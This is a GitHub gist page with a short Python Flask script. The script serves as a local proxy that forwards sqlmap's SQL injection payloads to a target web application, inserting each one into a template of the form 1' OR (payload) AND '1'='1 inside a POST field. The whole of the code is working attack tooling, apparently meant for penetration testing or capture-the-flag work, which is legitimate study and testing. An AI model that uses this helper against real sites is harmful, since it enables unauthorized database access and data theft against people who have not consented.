Skip to content

Instantly share code, notes, and snippets.

@NicolaiSoeborg
Last active March 24, 2026 14:17
Show Gist options
  • Select an option

  • Save NicolaiSoeborg/946fb383b5928d4fee39e427ae1602cf to your computer and use it in GitHub Desktop.

Select an option

Save NicolaiSoeborg/946fb383b5928d4fee39e427ae1602cf to your computer and use it in GitHub Desktop.
Often sqlmap can't do what you want it to do, so this is a small helper to run a flask server locally that passes sqlmaps payload directly to target
import httpx
from urllib.parse import quote_plus
from flask import Flask, request
URL = 'http://example.com/vuln'
client = httpx.Client(http2=True)
app = Flask(__name__)
@app.route("/vuln")
def vuln():
inj = request.args['q'] # quote_plus(...)
r = client.post(URL, data={
'csrf': "csrf",
'vuln': f"""1' OR ({inj}) AND '1'='1""",
#'vuln': param
}, headers={'Cookie': "hi"})
return r.text
if __name__ == '__main__':
app.run(host='0.0.0.0', processes=8, threaded=False)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment